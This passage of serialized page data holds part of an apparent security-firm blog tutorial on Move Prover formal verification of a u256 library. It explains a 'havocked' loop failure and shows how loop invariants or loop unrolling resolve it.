1999",{"type":25,"tag":271,"props":23914,"children":23915},{"style":17388},[23916],{"type":30,"value":17058},{"type":25,"tag":271,"props":23918,"children":23919},{"class":13593,"line":16823},[23920,23924,23929],{"type":25,"tag":271,"props":23921,"children":23922},{"style":13620},[23923],{"type":30,"value":23739},{"type":25,"tag":271,"props":23925,"children":23926},{"style":17388},[23927],{"type":30,"value":23928}," ./sources/u256.move:346:",{"type":25,"tag":271,"props":23930,"children":23931},{"style":17388},[23932],{"type":30,"value":23749},{"type":25,"tag":271,"props":23934,"children":23935},{"class":13593,"line":16832},[23936],{"type":25,"tag":271,"props":23937,"children":23938},{"style":13620},[23939],{"type":30,"value":23940},"     ABORTED\n",{"type":25,"tag":271,"props":23942,"children":23943},{"class":13593,"line":16841},[23944],{"type":25,"tag":271,"props":23945,"children":23946},{"emptyLinePlaceholder":18},[23947],{"type":30,"value":16829},{"type":25,"tag":271,"props":23949,"children":23950},{"class":13593,"line":16907},[23951,23956,23961,23965,23970,23975,23980,23984,23989,23993],{"type":25,"tag":271,"props":23952,"children":23953},{"style":13620},[23954],{"type":30,"value":23955},"FAILURE",{"type":25,"tag":271,"props":23957,"children":23958},{"style":17388},[23959],{"type":30,"value":23960}," proving",{"type":25,"tag":271,"props":23962,"children":23963},{"style":16187},[23964],{"type":30,"value":17654},{"type":25,"tag":271,"props":23966,"children":23967},{"style":17388},[23968],{"type":30,"value":23969}," modules",{"type":25,"tag":271,"props":23971,"children":23972},{"style":17388},[23973],{"type":30,"value":23974}," from",{"type":25,"tag":271,"props":23976,"children":23977},{"style":17388},[23978],{"type":30,"value":23979}," package",{"type":25,"tag":271,"props":23981,"children":23982},{"style":17388},[23983],{"type":30,"value":23497},{"type":25,"tag":271,"props":23985,"children":23986},{"style":13620},[23987],{"type":30,"value":23988},"u256",{"type":25,"tag":271,"props":23990,"children":23991},{"style":17388},[23992],{"type":30,"value":23506},{"type":25,"tag":271,"props":23994,"children":23995},{"style":13625},[23996],{"type":30,"value":23997}," in 9.143s\n",{"type":25,"tag":271,"props":23999,"children":24000},{"class":13593,"line":16915},[24001],{"type":25,"tag":271,"props":24002,"children":24003},{"style":13625},[24004],{"type":30,"value":24005},"{\n",{"type":25,"tag":271,"props":24007,"children":24008},{"class":13593,"line":16945},[24009,24014,24018],{"type":25,"tag":271,"props":24010,"children":24011},{"style":13620},[24012],{"type":30,"value":24013},"    \"Error\"",{"type":25,"tag":271,"props":24015,"children":24016},{"style":13620},[24017],{"type":30,"value":359},{"type":25,"tag":271,"props":24019,"children":24020},{"style":17388},[24021],{"type":30,"value":24022}," \"Move Prover failed: exiting with verification errors\"\n",{"type":25,"tag":271,"props":24024,"children":24025},{"class":13593,"line":16953},[24026],{"type":25,"tag":271,"props":24027,"children":24028},{"style":13625},[24029],{"type":30,"value":17058},{"type":25,"tag":26,"props":24031,"children":24032},{},[24033,24035,24040],{"type":30,"value":24034},"The prover is telling us that proving failed because the abort was not covered by our ",{"type":25,"tag":264,"props":24036,"children":24038},{"className":24037},[],[24039],{"type":30,"value":21446},{"type":30,"value":24041}," clauses. But there is no other abort situation that we have to cover, right?",{"type":25,"tag":26,"props":24043,"children":24044},{},[24045,24047,24053],{"type":30,"value":24046},"If we keep reading the error output, we will encounter the somewhat cryptic message: ",{"type":25,"tag":264,"props":24048,"children":24050},{"className":24049},[],[24051],{"type":30,"value":24052},"ret havocked and reassigned",{"type":30,"value":1860},{"type":25,"tag":26,"props":24055,"children":24056},{},[24057],{"type":30,"value":24058},"What does this mean?",{"type":25,"tag":26,"props":24060,"children":24061},{},[24062,24064,24071],{"type":30,"value":24063},"By diving into the Move Prover source, we find a ",{"type":25,"tag":83,"props":24065,"children":24068},{"href":24066,"rel":24067},"https://github.com/move-language/move/blob/e0dafc5cf3efe4c4e61411f10cdf0f379a36673c/language/move-prover/bytecode/src/loop_analysis.rs#L94",[9066],[24069],{"type":30,"value":24070},"likely suspect",{"type":30,"value":24072},". The prover attempts to prove all loops with induction!",{"type":25,"tag":26,"props":24074,"children":24075},{},[24076],{"type":30,"value":24077},"More formally, it will translate the loop into two key steps, following the classic steps of a proof by induction",{"type":25,"tag":661,"props":24079,"children":24080},{},[24081,24086],{"type":25,"tag":112,"props":24082,"children":24083},{},[24084],{"type":30,"value":24085},"Base Case: Asserting the loop invariant holds at the start of loop execution",{"type":25,"tag":112,"props":24087,"children":24088},{},[24089],{"type":30,"value":24090},"Inductive Step: Assume the invariant, execute the loop body, and assert that the invariant still holds",{"type":25,"tag":26,"props":24092,"children":24093},{},[24094,24096,24101,24103,24109,24110,24116,24117,24122,24124,24129],{"type":30,"value":24095},"The loop prover will also ",{"type":25,"tag":38,"props":24097,"children":24098},{},[24099],{"type":30,"value":24100},"havoc, or assign random values to, all variables written to inside the loop",{"type":30,"value":24102},". Going back to the log message, this implies that the variables ",{"type":25,"tag":264,"props":24104,"children":24106},{"className":24105},[],[24107],{"type":30,"value":24108},"carry",{"type":30,"value":44},{"type":25,"tag":264,"props":24111,"children":24113},{"className":24112},[],[24114],{"type":30,"value":24115},"ret",{"type":30,"value":12218},{"type":25,"tag":264,"props":24118,"children":24120},{"className":24119},[],[24121],{"type":30,"value":1937},{"type":30,"value":24123}," have been havocked, or assigned random values. This also explains why the input and output of ",{"type":25,"tag":264,"props":24125,"children":24127},{"className":24126},[],[24128],{"type":30,"value":22761},{"type":30,"value":24130}," makes no sense.",{"type":25,"tag":26,"props":24132,"children":24133},{},[24134],{"type":30,"value":24135},"More concretely, the loop analysis translates into the following steps.",{"type":25,"tag":661,"props":24137,"children":24138},{},[24139,24144,24149,24154,24159,24164],{"type":25,"tag":112,"props":24140,"children":24141},{},[24142],{"type":30,"value":24143},"Assert the loop invariant",{"type":25,"tag":112,"props":24145,"children":24146},{},[24147],{"type":30,"value":24148},"Havoc all modified variables",{"type":25,"tag":112,"props":24150,"children":24151},{},[24152],{"type":30,"value":24153},"Assume the loop invariant",{"type":25,"tag":112,"props":24155,"children":24156},{},[24157],{"type":30,"value":24158},"Assume the loop guard (the code inside the while condition)",{"type":25,"tag":112,"props":24160,"children":24161},{},[24162],{"type":30,"value":24163},"Run the loop body",{"type":25,"tag":112,"props":24165,"children":24166},{},[24167],{"type":30,"value":24143},{"type":25,"tag":26,"props":24169,"children":24170},{},[24171],{"type":30,"value":24172},"There are two approaches to dealing with loops.",{"type":25,"tag":26,"props":24174,"children":24175},{},[24176],{"type":30,"value":24177},"The first would be to specify a loop invariant.",{"type":25,"tag":26,"props":24179,"children":24180},{},[24181,24183,24190],{"type":30,"value":24182},"In order to specify the loop invariant, we need to use some special syntax, as we explored briefly in our ",{"type":25,"tag":83,"props":24184,"children":24187},{"href":24185,"rel":24186},"https://osec.io/blog/tutorials/2022-09-06-move-introduction/",[9066],[24188],{"type":30,"value":24189},"previous post",{"type":30,"value":1860},{"type":25,"tag":7764,"props":24192,"children":24194},{"code":24193,"language":13585,"meta":7,"className":13586,"style":7},"  while ({\n      spec {\n          invariant len(amounts_times_coins) == i;\n          invariant i \u003C= n_coins;\n          invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n      };\n      (i \u003C n_coins)\n  }) {\n      vector::push_back(\n          &mut amounts_times_coins,\n          (*vector::borrow(&input, (i as u64)) as u128) * (n_coins as u128)\n      );\n      i = i + 1;\n  };\n",[24195],{"type":25,"tag":264,"props":24196,"children":24197},{"__ignoreMap":7},[24198,24210,24221,24257,24280,24363,24370,24394,24402,24422,24442,24533,24540,24568],{"type":25,"tag":271,"props":24199,"children":24200},{"class":13593,"line":13594},[24201,24206],{"type":25,"tag":271,"props":24202,"children":24203},{"style":16171},[24204],{"type":30,"value":24205},"  while",{"type":25,"tag":271,"props":24207,"children":24208},{"style":13625},[24209],{"type":30,"value":21653},{"type":25,"tag":271,"props":24211,"children":24212},{"class":13593,"line":11641},[24213,24217],{"type":25,"tag":271,"props":24214,"children":24215},{"style":13598},[24216],{"type":30,"value":22049},{"type":25,"tag":271,"props":24218,"children":24219},{"style":13625},[24220],{"type":30,"value":16431},{"type":25,"tag":271,"props":24222,"children":24223},{"class":13593,"line":14354},[24224,24229,24233,24237,24241,24245,24249,24253],{"type":25,"tag":271,"props":24225,"children":24226},{"style":13598},[24227],{"type":30,"value":24228},"          invariant",{"type":25,"tag":271,"props":24230,"children":24231},{"style":13620},[24232],{"type":30,"value":21678},{"type":25,"tag":271,"props":24234,"children":24235},{"style":13625},[24236],{"type":30,"value":394},{"type":25,"tag":271,"props":24238,"children":24239},{"style":13598},[24240],{"type":30,"value":21687},{"type":25,"tag":271,"props":24242,"children":24243},{"style":13625},[24244],{"type":30,"value":14406},{"type":25,"tag":271,"props":24246,"children":24247},{"style":13603},[24248],{"type":30,"value":21696},{"type":25,"tag":271,"props":24250,"children":24251},{"style":13598},[24252],{"type":30,"value":16544},{"type":25,"tag":271,"props":24254,"children":24255},{"style":13625},[24256],{"type":30,"value":16165},{"type":25,"tag":271,"props":24258,"children":24259},{"class":13593,"line":14391},[24260,24264,24268,24272,24276],{"type":25,"tag":271,"props":24261,"children":24262},{"style":13598},[24263],{"type":30,"value":24228},{"type":25,"tag":271,"props":24265,"children":24266},{"style":13598},[24267],{"type":30,"value":16544},{"type":25,"tag":271,"props":24269,"children":24270},{"style":13603},[24271],{"type":30,"value":21318},{"type":25,"tag":271,"props":24273,"children":24274},{"style":13598},[24275],{"type":30,"value":21607},{"type":25,"tag":271,"props":24277,"children":24278},{"style":13625},[24279],{"type":30,"value":16165},{"type":25,"tag":271,"props":24281,"children":24282},{"class":13593,"line":14400},[24283,24287,24291,24295,24299,24303,24307,24311,24315,24319,24323,24327,24331,24335,24339,24343,24347,24351,24355,24359],{"type":25,"tag":271,"props":24284,"children":24285},{"style":13598},[24286],{"type":30,"value":24228},{"type":25,"tag":271,"props":24288,"children":24289},{"style":13598},[24290],{"type":30,"value":21739},{"type":25,"tag":271,"props":24292,"children":24293},{"style":13598},[24294],{"type":30,"value":21744},{"type":25,"tag":271,"props":24296,"children":24297},{"style":14289},[24298],{"type":30,"value":16184},{"type":25,"tag":271,"props":24300,"children":24301},{"style":16187},[24302],{"type":30,"value":16190},{"type":25,"tag":271,"props":24304,"children":24305},{"style":13603},[24306],{"type":30,"value":16195},{"type":25,"tag":271,"props":24308,"children":24309},{"style":13598},[24310],{"type":30,"value":1937},{"type":25,"tag":271,"props":24312,"children":24313},{"style":13603},[24314],{"type":30,"value":359},{"type":25,"tag":271,"props":24316,"children":24317},{"style":13598},[24318],{"type":30,"value":21542},{"type":25,"tag":271,"props":24320,"children":24321},{"style":13625},[24322],{"type":30,"value":5604},{"type":25,"tag":271,"props":24324,"children":24325},{"style":13598},[24326],{"type":30,"value":6563},{"type":25,"tag":271,"props":24328,"children":24329},{"style":13625},[24330],{"type":30,"value":21781},{"type":25,"tag":271,"props":24332,"children":24333},{"style":13603},[24334],{"type":30,"value":21696},{"type":25,"tag":271,"props":24336,"children":24337},{"style":13598},[24338],{"type":30,"value":21790},{"type":25,"tag":271,"props":24340,"children":24341},{"style":13625},[24342],{"type":30,"value":5604},{"type":25,"tag":271,"props":24344,"children":24345},{"style":13598},[24346],{"type":30,"value":6563},{"type":25,"tag":271,"props":24348,"children":24349},{"style":13625},[24350],{"type":30,"value":21781},{"type":25,"tag":271,"props":24352,"children":24353},{"style":13603},[24354],{"type":30,"value":17702},{"type":25,"tag":271,"props":24356,"children":24357},{"style":13598},[24358],{"type":30,"value":21607},{"type":25,"tag":271,"props":24360,"children":24361},{"style":13625},[24362],{"type":30,"value":16165},{"type":25,"tag":271,"props":24364,"children":24365},{"class":13593,"line":16406},[24366],{"type":25,"tag":271,"props":24367,"children":24368},{"style":13625},[24369],{"type":30,"value":22041},{"type":25,"tag":271,"props":24371,"children":24372},{"class":13593,"line":16434},[24373,24378,24382,24386,24390],{"type":25,"tag":271,"props":24374,"children":24375},{"style":13625},[24376],{"type":30,"value":24377},"      (",{"type":25,"tag":271,"props":24379,"children":24380},{"style":13598},[24381],{"type":30,"value":1937},{"type":25,"tag":271,"props":24383,"children":24384},{"style":13603},[24385],{"type":30,"value":21839},{"type":25,"tag":271,"props":24387,"children":24388},{"style":13598},[24389],{"type":30,"value":21607},{"type":25,"tag":271,"props":24391,"children":24392},{"style":13625},[24393],{"type":30,"value":16299},{"type":25,"tag":271,"props":24395,"children":24396},{"class":13593,"line":16447},[24397],{"type":25,"tag":271,"props":24398,"children":24399},{"style":13625},[24400],{"type":30,"value":24401},"  }) {\n",{"type":25,"tag":271,"props":24403,"children":24404},{"class":13593,"line":16465},[24405,24410,24414,24418],{"type":25,"tag":271,"props":24406,"children":24407},{"style":13625},[24408],{"type":30,"value":24409},"      vector",{"type":25,"tag":271,"props":24411,"children":24412},{"style":13603},[24413],{"type":30,"value":13617},{"type":25,"tag":271,"props":24415,"children":24416},{"style":13620},[24417],{"type":30,"value":21872},{"type":25,"tag":271,"props":24419,"children":24420},{"style":13625},[24421],{"type":30,"value":16609},{"type":25,"tag":271,"props":24423,"children":24424},{"class":13593,"line":16486},[24425,24430,24434,24438],{"type":25,"tag":271,"props":24426,"children":24427},{"style":13603},[24428],{"type":30,"value":24429},"          &",{"type":25,"tag":271,"props":24431,"children":24432},{"style":14289},[24433],{"type":30,"value":16877},{"type":25,"tag":271,"props":24435,"children":24436},{"style":13598},[24437],{"type":30,"value":21542},{"type":25,"tag":271,"props":24439,"children":24440},{"style":13625},[24441],{"type":30,"value":14351},{"type":25,"tag":271,"props":24443,"children":24444},{"class":13593,"line":16495},[24445,24449,24453,24457,24461,24465,24469,24473,24477,24481,24485,24489,24493,24497,24501,24505,24509,24513,24517,24521,24525,24529],{"type":25,"tag":271,"props":24446,"children":24447},{"style":13625},[24448],{"type":30,"value":21830},{"type":25,"tag":271,"props":24450,"children":24451},{"style":13603},[24452],{"type":30,"value":17702},{"type":25,"tag":271,"props":24454,"children":24455},{"style":13625},[24456],{"type":30,"value":21913},{"type":25,"tag":271,"props":24458,"children":24459},{"style":13603},[24460],{"type":30,"value":13617},{"type":25,"tag":271,"props":24462,"children":24463},{"style":13620},[24464],{"type":30,"value":21922},{"type":25,"tag":271,"props":24466,"children":24467},{"style":13625},[24468],{"type":30,"value":394},{"type":25,"tag":271,"props":24470,"children":24471},{"style":13603},[24472],{"type":30,"value":13632},{"type":25,"tag":271,"props":24474,"children":24475},{"style":13598},[24476],{"type":30,"value":13871},{"type":25,"tag":271,"props":24478,"children":24479},{"style":13625},[24480],{"type":30,"value":21939},{"type":25,"tag":271,"props":24482,"children":24483},{"style":13598},[24484],{"type":30,"value":1937},{"type":25,"tag":271,"props":24486,"children":24487},{"style":14289},[24488],{"type":30,"value":21948},{"type":25,"tag":271,"props":24490,"children":24491},{"style":13609},[24492],{"type":30,"value":18991},{"type":25,"tag":271,"props":24494,"children":24495},{"style":13625},[24496],{"type":30,"value":21957},{"type":25,"tag":271,"props":24498,"children":24499},{"style":14289},[24500],{"type":30,"value":21962},{"type":25,"tag":271,"props":24502,"children":24503},{"style":13609},[24504],{"type":30,"value":21967},{"type":25,"tag":271,"props":24506,"children":24507},{"style":13625},[24508],{"type":30,"value":14406},{"type":25,"tag":271,"props":24510,"children":24511},{"style":13603},[24512],{"type":30,"value":17702},{"type":25,"tag":271,"props":24514,"children":24515},{"style":13625},[24516],{"type":30,"value":16213},{"type":25,"tag":271,"props":24518,"children":24519},{"style":13598},[24520],{"type":30,"value":21984},{"type":25,"tag":271,"props":24522,"children":24523},{"style":14289},[24524],{"type":30,"value":21948},{"type":25,"tag":271,"props":24526,"children":24527},{"style":13609},[24528],{"type":30,"value":21967},{"type":25,"tag":271,"props":24530,"children":24531},{"style":13625},[24532],{"type":30,"value":16299},{"type":25,"tag":271,"props":24534,"children":24535},{"class":13593,"line":16744},[24536],{"type":25,"tag":271,"props":24537,"children":24538},{"style":13625},[24539],{"type":30,"value":19890},{"type":25,"tag":271,"props":24541,"children":24542},{"class":13593,"line":16761},[24543,24548,24552,24556,24560,24564],{"type":25,"tag":271,"props":24544,"children":24545},{"style":13598},[24546],{"type":30,"value":24547},"      i",{"type":25,"tag":271,"props":24549,"children":24550},{"style":13603},[24551],{"type":30,"value":16155},{"type":25,"tag":271,"props":24553,"children":24554},{"style":13598},[24555],{"type":30,"value":16544},{"type":25,"tag":271,"props":24557,"children":24558},{"style":13603},[24559],{"type":30,"value":22025},{"type":25,"tag":271,"props":24561,"children":24562},{"style":16187},[24563],{"type":30,"value":17654},{"type":25,"tag":271,"props":24565,"children":24566},{"style":13625},[24567],{"type":30,"value":16165},{"type":25,"tag":271,"props":24569,"children":24570},{"class":13593,"line":16778},[24571],{"type":25,"tag":271,"props":24572,"children":24573},{"style":13625},[24574],{"type":30,"value":24575},"  };\n",{"type":25,"tag":26,"props":24577,"children":24578},{},[24579,24581,24587,24589,24594,24596,24602],{"type":30,"value":24580},"In this case, the brackets specify the loop invariant for the ",{"type":25,"tag":264,"props":24582,"children":24584},{"className":24583},[],[24585],{"type":30,"value":24586},"while",{"type":30,"value":24588}," loop. Note that because the loop invariant executes ",{"type":25,"tag":10281,"props":24590,"children":24591},{},[24592],{"type":30,"value":24593},"after",{"type":30,"value":24595}," the loop guard, so we need to account for an extra step with ",{"type":25,"tag":264,"props":24597,"children":24599},{"className":24598},[],[24600],{"type":30,"value":24601},"i \u003C= n_coins",{"type":30,"value":1860},{"type":25,"tag":7764,"props":24604,"children":24606},{"code":24605,"language":13585,"meta":7,"className":13586,"style":7},"  while ({\n      spec {\n          invariant len(amounts_times_coins) == i;\n          invariant i \u003C= n_coins;\n          invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n      };\n      (i \u003C n_coins)\n  }) {\n",[24607],{"type":25,"tag":264,"props":24608,"children":24609},{"__ignoreMap":7},[24610,24621,24632,24667,24690,24773,24780,24803],{"type":25,"tag":271,"props":24611,"children":24612},{"class":13593,"line":13594},[24613,24617],{"type":25,"tag":271,"props":24614,"children":24615},{"style":16171},[24616],{"type":30,"value":24205},{"type":25,"tag":271,"props":24618,"children":24619},{"style":13625},[24620],{"type":30,"value":21653},{"type":25,"tag":271,"props":24622,"children":24623},{"class":13593,"line":11641},[24624,24628],{"type":25,"tag":271,"props":24625,"children":24626},{"style":13598},[24627],{"type":30,"value":22049},{"type":25,"tag":271,"props":24629,"children":24630},{"style":13625},[24631],{"type":30,"value":16431},{"type":25,"tag":271,"props":24633,"children":24634},{"class":13593,"line":14354},[24635,24639,24643,24647,24651,24655,24659,24663],{"type":25,"tag":271,"props":24636,"children":24637},{"style":13598},[24638],{"type":30,"value":24228},{"type":25,"tag":271,"props":24640,"children":24641},{"style":13620},[24642],{"type":30,"value":21678},{"type":25,"tag":271,"props":24644,"children":24645},{"style":13625},[24646],{"type":30,"value":394},{"type":25,"tag":271,"props":24648,"children":24649},{"style":13598},[24650],{"type":30,"value":21687},{"type":25,"tag":271,"props":24652,"children":24653},{"style":13625},[24654],{"type":30,"value":14406},{"type":25,"tag":271,"props":24656,"children":24657},{"style":13603},[24658],{"type":30,"value":21696},{"type":25,"tag":271,"props":24660,"children":24661},{"style":13598},[24662],{"type":30,"value":16544},{"type":25,"tag":271,"props":24664,"children":24665},{"style":13625},[24666],{"type":30,"value":16165},{"type":25,"tag":271,"props":24668,"children":24669},{"class":13593,"line":14391},[24670,24674,24678,24682,24686],{"type":25,"tag":271,"props":24671,"children":24672},{"style":13598},[24673],{"type":30,"value":24228},{"type":25,"tag":271,"props":24675,"children":24676},{"style":13598},[24677],{"type":30,"value":16544},{"type":25,"tag":271,"props":24679,"children":24680},{"style":13603},[24681],{"type":30,"value":21318},{"type":25,"tag":271,"props":24683,"children":24684},{"style":13598},[24685],{"type":30,"value":21607},{"type":25,"tag":271,"props":24687,"children":24688},{"style":13625},[24689],{"type":30,"value":16165},{"type":25,"tag":271,"props":24691,"children":24692},{"class":13593,"line":14400},[24693,24697,24701,24705,24709,24713,24717,24721,24725,24729,24733,24737,24741,24745,24749,24753,24757,24761,24765,24769],{"type":25,"tag":271,"props":24694,"children":24695},{"style":13598},[24696],{"type":30,"value":24228},{"type":25,"tag":271,"props":24698,"children":24699},{"style":13598},[24700],{"type":30,"value":21739},{"type":25,"tag":271,"props":24702,"children":24703},{"style":13598},[24704],{"type":30,"value":21744},{"type":25,"tag":271,"props":24706,"children":24707},{"style":14289},[24708],{"type":30,"value":16184},{"type":25,"tag":271,"props":24710,"children":24711},{"style":16187},[24712],{"type":30,"value":16190},{"type":25,"tag":271,"props":24714,"children":24715},{"style":13603},[24716],{"type":30,"value":16195},{"type":25,"tag":271,"props":24718,"children":24719},{"style":13598},[24720],{"type":30,"value":1937},{"type":25,"tag":271,"props":24722,"children":24723},{"style":13603},[24724],{"type":30,"value":359},{"type":25,"tag":271,"props":24726,"children":24727},{"style":13598},[24728],{"type":30,"value":21542},{"type":25,"tag":271,"props":24730,"children":24731},{"style":13625},[24732],{"type":30,"value":5604},{"type":25,"tag":271,"props":24734,"children":24735},{"style":13598},[24736],{"type":30,"value":6563},{"type":25,"tag":271,"props":24738,"children":24739},{"style":13625},[24740],{"type":30,"value":21781},{"type":25,"tag":271,"props":24742,"children":24743},{"style":13603},[24744],{"type":30,"value":21696},{"type":25,"tag":271,"props":24746,"children":24747},{"style":13598},[24748],{"type":30,"value":21790},{"type":25,"tag":271,"props":24750,"children":24751},{"style":13625},[24752],{"type":30,"value":5604},{"type":25,"tag":271,"props":24754,"children":24755},{"style":13598},[24756],{"type":30,"value":6563},{"type":25,"tag":271,"props":24758,"children":24759},{"style":13625},[24760],{"type":30,"value":21781},{"type":25,"tag":271,"props":24762,"children":24763},{"style":13603},[24764],{"type":30,"value":17702},{"type":25,"tag":271,"props":24766,"children":24767},{"style":13598},[24768],{"type":30,"value":21607},{"type":25,"tag":271,"props":24770,"children":24771},{"style":13625},[24772],{"type":30,"value":16165},{"type":25,"tag":271,"props":24774,"children":24775},{"class":13593,"line":16406},[24776],{"type":25,"tag":271,"props":24777,"children":24778},{"style":13625},[24779],{"type":30,"value":22041},{"type":25,"tag":271,"props":24781,"children":24782},{"class":13593,"line":16434},[24783,24787,24791,24795,24799],{"type":25,"tag":271,"props":24784,"children":24785},{"style":13625},[24786],{"type":30,"value":24377},{"type":25,"tag":271,"props":24788,"children":24789},{"style":13598},[24790],{"type":30,"value":1937},{"type":25,"tag":271,"props":24792,"children":24793},{"style":13603},[24794],{"type":30,"value":21839},{"type":25,"tag":271,"props":24796,"children":24797},{"style":13598},[24798],{"type":30,"value":21607},{"type":25,"tag":271,"props":24800,"children":24801},{"style":13625},[24802],{"type":30,"value":16299},{"type":25,"tag":271,"props":24804,"children":24805},{"class":13593,"line":16447},[24806],{"type":25,"tag":271,"props":24807,"children":24808},{"style":13625},[24809],{"type":30,"value":24401},{"type":25,"tag":26,"props":24811,"children":24812},{},[24813],{"type":30,"value":24814},"Loop invariants are often difficult to write, especially for nontrivial loop bodies.",{"type":25,"tag":26,"props":24816,"children":24817},{},[24818,24820,24825],{"type":30,"value":24819},"The second solution to dealing with loops is to unroll the loop. This technique works in this particular situation because, as we can observe, the loop within the ",{"type":25,"tag":264,"props":24821,"children":24823},{"className":24822},[],[24824],{"type":30,"value":22761},{"type":30,"value":24826}," function will always iterate exactly 4 times:",{"type":25,"tag":7764,"props":24828,"children":24830},{"code":24829,"language":13585,"meta":7,"className":13586,"style":7},"/// Total words in `U256` (64 * 4 = 256).\nconst WORDS: u64 = 4;\n\n[...]\n\nlet i = 0;\nwhile (i \u003C WORDS) {\n    let a1 = get(&a, i);\n    let b1 = get(&b, i);\n\n[...]\n",[24831],{"type":25,"tag":264,"props":24832,"children":24833},{"__ignoreMap":7},[24834,24842,24875,24882,24898,24905,24929,24953,24998,25042,25049],{"type":25,"tag":271,"props":24835,"children":24836},{"class":13593,"line":13594},[24837],{"type":25,"tag":271,"props":24838,"children":24839},{"style":14385},[24840],{"type":30,"value":24841},"/// Total words in `U256` (64 * 4 = 256).\n",{"type":25,"tag":271,"props":24843,"children":24844},{"class":13593,"line":11641},[24845,24849,24854,24858,24862,24866,24871],{"type":25,"tag":271,"props":24846,"children":24847},{"style":14289},[24848],{"type":30,"value":22778},{"type":25,"tag":271,"props":24850,"children":24851},{"style":13625},[24852],{"type":30,"value":24853}," WORDS",{"type":25,"tag":271,"props":24855,"children":24856},{"style":13603},[24857],{"type":30,"value":359},{"type":25,"tag":271,"props":24859,"children":24860},{"style":13609},[24861],{"type":30,"value":18991},{"type":25,"tag":271,"props":24863,"children":24864},{"style":13603},[24865],{"type":30,"value":16155},{"type":25,"tag":271,"props":24867,"children":24868},{"style":16187},[24869],{"type":30,"value":24870}," 4",{"type":25,"tag":271,"props":24872,"children":24873},{"style":13625},[24874],{"type":30,"value":16165},{"type":25,"tag":271,"props":24876,"children":24877},{"class":13593,"line":14354},[24878],{"type":25,"tag":271,"props":24879,"children":24880},{"emptyLinePlaceholder":18},[24881],{"type":30,"value":16829},{"type":25,"tag":271,"props":24883,"children":24884},{"class":13593,"line":14391},[24885,24889,24893],{"type":25,"tag":271,"props":24886,"children":24887},{"style":13625},[24888],{"type":30,"value":5604},{"type":25,"tag":271,"props":24890,"children":24891},{"style":13603},[24892],{"type":30,"value":22714},{"type":25,"tag":271,"props":24894,"children":24895},{"style":13625},[24896],{"type":30,"value":24897},"]\n",{"type":25,"tag":271,"props":24899,"children":24900},{"class":13593,"line":14400},[24901],{"type":25,"tag":271,"props":24902,"children":24903},{"emptyLinePlaceholder":18},[24904],{"type":30,"value":16829},{"type":25,"tag":271,"props":24906,"children":24907},{"class":13593,"line":16406},[24908,24913,24917,24921,24925],{"type":25,"tag":271,"props":24909,"children":24910},{"style":14289},[24911],{"type":30,"value":24912},"let",{"type":25,"tag":271,"props":24914,"children":24915},{"style":13598},[24916],{"type":30,"value":16544},{"type":25,"tag":271,"props":24918,"children":24919},{"style":13603},[24920],{"type":30,"value":16155},{"type":25,"tag":271,"props":24922,"children":24923},{"style":16187},[24924],{"type":30,"value":16190},{"type":25,"tag":271,"props":24926,"children":24927},{"style":13625},[24928],{"type":30,"value":16165},{"type":25,"tag":271,"props":24930,"children":24931},{"class":13593,"line":16434},[24932,24936,24940,24944,24948],{"type":25,"tag":271,"props":24933,"children":24934},{"style":16171},[24935],{"type":30,"value":24586},{"type":25,"tag":271,"props":24937,"children":24938},{"style":13625},[24939],{"type":30,"value":16213},{"type":25,"tag":271,"props":24941,"children":24942},{"style":13598},[24943],{"type":30,"value":1937},{"type":25,"tag":271,"props":24945,"children":24946},{"style":13603},[24947],{"type":30,"value":21839},{"type":25,"tag":271,"props":24949,"children":24950},{"style":13625},[24951],{"type":30,"value":24952}," WORDS) {\n",{"type":25,"tag":271,"props":24954,"children":24955},{"class":13593,"line":16447},[24956,24960,24965,24969,24974,24978,24982,24986,24990,24994],{"type":25,"tag":271,"props":24957,"children":24958},{"style":14289},[24959],{"type":30,"value":16140},{"type":25,"tag":271,"props":24961,"children":24962},{"style":13598},[24963],{"type":30,"value":24964}," a1",{"type":25,"tag":271,"props":24966,"children":24967},{"style":13603},[24968],{"type":30,"value":16155},{"type":25,"tag":271,"props":24970,"children":24971},{"style":13620},[24972],{"type":30,"value":24973}," get",{"type":25,"tag":271,"props":24975,"children":24976},{"style":13625},[24977],{"type":30,"value":394},{"type":25,"tag":271,"props":24979,"children":24980},{"style":13603},[24981],{"type":30,"value":13632},{"type":25,"tag":271,"props":24983,"children":24984},{"style":13598},[24985],{"type":30,"value":83},{"type":25,"tag":271,"props":24987,"children":24988},{"style":13625},[24989],{"type":30,"value":44},{"type":25,"tag":271,"props":24991,"children":24992},{"style":13598},[24993],{"type":30,"value":1937},{"type":25,"tag":271,"props":24995,"children":24996},{"style":13625},[24997],{"type":30,"value":13665},{"type":25,"tag":271,"props":24999,"children":25000},{"class":13593,"line":16465},[25001,25005,25010,25014,25018,25022,25026,25030,25034,25038],{"type":25,"tag":271,"props":25002,"children":25003},{"style":14289},[25004],{"type":30,"value":16140},{"type":25,"tag":271,"props":25006,"children":25007},{"style":13598},[25008],{"type":30,"value":25009}," b1",{"type":25,"tag":271,"props":25011,"children":25012},{"style":13603},[25013],{"type":30,"value":16155},{"type":25,"tag":271,"props":25015,"children":25016},{"style":13620},[25017],{"type":30,"value":24973},{"type":25,"tag":271,"props":25019,"children":25020},{"style":13625},[25021],{"type":30,"value":394},{"type":25,"tag":271,"props":25023,"children":25024},{"style":13603},[25025],{"type":30,"value":13632},{"type":25,"tag":271,"props":25027,"children":25028},{"style":13598},[25029],{"type":30,"value":2508},{"type":25,"tag":271,"props":25031,"children":25032},{"style":13625},[25033],{"type":30,"value":44},{"type":25,"tag":271,"props":25035,"children":25036},{"style":13598},[25037],{"type":30,"value":1937},{"type":25,"tag":271,"props":25039,"children":25040},{"style":13625},[25041],{"type":30,"value":13665},{"type":25,"tag":271,"props":25043,"children":25044},{"class":13593,"line":16486},[25045],{"type":25,"tag":271,"props":25046,"children":25047},{"emptyLinePlaceholder":18},[25048],{"type":30,"value":16829},{"type":25,"tag":271,"props":25050,"children":25051},{"class":13593,"line":16495},[25052,25056,25060],{"type":25,"tag":271,"props":25053,"children":25054},{"style":13625},[25055],{"type":30,"value":5604},{"type":25,"tag":271,"props":25057,"children":25058},{"style":13603},[25059],{"type":30,"value":22714},{"type":25,"tag":271,"props":25061,"children":25062},{"style":13625},[25063],{"type":30,"value":24897},{"type":25,"tag":26,"props":25065,"children":25066},{},[25067],{"type":30,"value":25068},"Unrolling the function and running again the Move Prover will print out a \"Success\" message!",{"type":25,"tag":7764,"props":25070,"children":25072},{"code":25071},"SUCCESS proving 1 modules from package `u256` in 9.685s\n{\n    \"Result\": 